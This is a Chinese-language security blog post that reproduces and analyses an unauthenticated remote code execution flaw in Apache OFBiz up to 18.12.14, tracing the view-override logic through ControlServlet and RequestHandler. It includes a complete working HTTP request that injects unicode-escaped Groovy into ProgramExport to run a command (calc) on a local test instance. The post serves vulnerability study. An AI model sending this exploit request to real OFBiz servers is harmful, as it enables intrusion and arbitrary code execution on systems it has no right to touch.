Apache OFBiz远程代码执行漏洞

2024-09-20 60 0

漏洞简介

Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。

影响版本

Apache OFBiz <\= 18.12.14

漏洞复现

https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14

下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14

下载后利用 idea 打开并编译运行

Apache OFBiz远程代码执行漏洞插图

构造发送数据包

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

成功执行打开计算器的命令

Apache OFBiz远程代码执行漏洞插图1

\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b​ 是 throw new Exception('calc'.execute().text);​ 进行编码后的数据

Apache OFBiz远程代码执行漏洞插图2

漏洞分析

applications\accounting\webapp\accounting\WEB-INF\web.xml

Apache OFBiz远程代码执行漏洞插图3

org.apache.ofbiz.webapp.control.ControlServlet​ 会处理所有以/control/​开头的路由

org.apache.ofbiz.webapp.control.ControlServlet#doPost

Apache OFBiz远程代码执行漏洞插图4

doPost 方法转换为 doGet 请求

org.apache.ofbiz.webapp.control.ControlServlet#doGet

Apache OFBiz远程代码执行漏洞插图5

利用 RequestHandler​ 来处理请求

org.apache.ofbiz.webapp.control.RequestHandler#doRequest

Apache OFBiz远程代码执行漏洞插图6

在 RequestHandler#doRequest​ 中依次获取路由相关参数

Apache OFBiz远程代码执行漏洞插图7

org.apache.ofbiz.base.util.UtilHttp#getApplicationName

Apache OFBiz远程代码执行漏洞插图8

org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri

Apache OFBiz远程代码执行漏洞插图9

org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri

Apache OFBiz远程代码执行漏洞插图10

依次获取到与路由相关的参数后,调用 resolveURI​ 返回路由对应的配置信息

org.apache.ofbiz.webapp.control.RequestHandler#resolveURI

Apache OFBiz远程代码执行漏洞插图11

这里对应的是

framework/webtools/webapp/webtools/WEB-INF/controller.xml

Apache OFBiz远程代码执行漏洞插图12

对应的 /webtools/control/main/​ 不需要认证,所以可以继续向下执行

Apache OFBiz远程代码执行漏洞插图13

Apache OFBiz远程代码执行漏洞插图14

通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse

Apache OFBiz远程代码执行漏洞插图15

else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}

overrideViewUri​ 非空且 eventReturn​ 为 null​ 或 "success"​ 的情况下,将 viewName​ 设置为 overrideViewUri​。否则将 viewName​ 设置为 nextRequestResponse.value​。

这里请求的路径为 /main/ProgramExport​ 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求

framework/webtools/widget/EntityScreens.xml

Apache OFBiz远程代码执行漏洞插图16

framework/webtools/groovyScripts/entity/ProgramExport.groovy

Apache OFBiz远程代码执行漏洞插图17


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论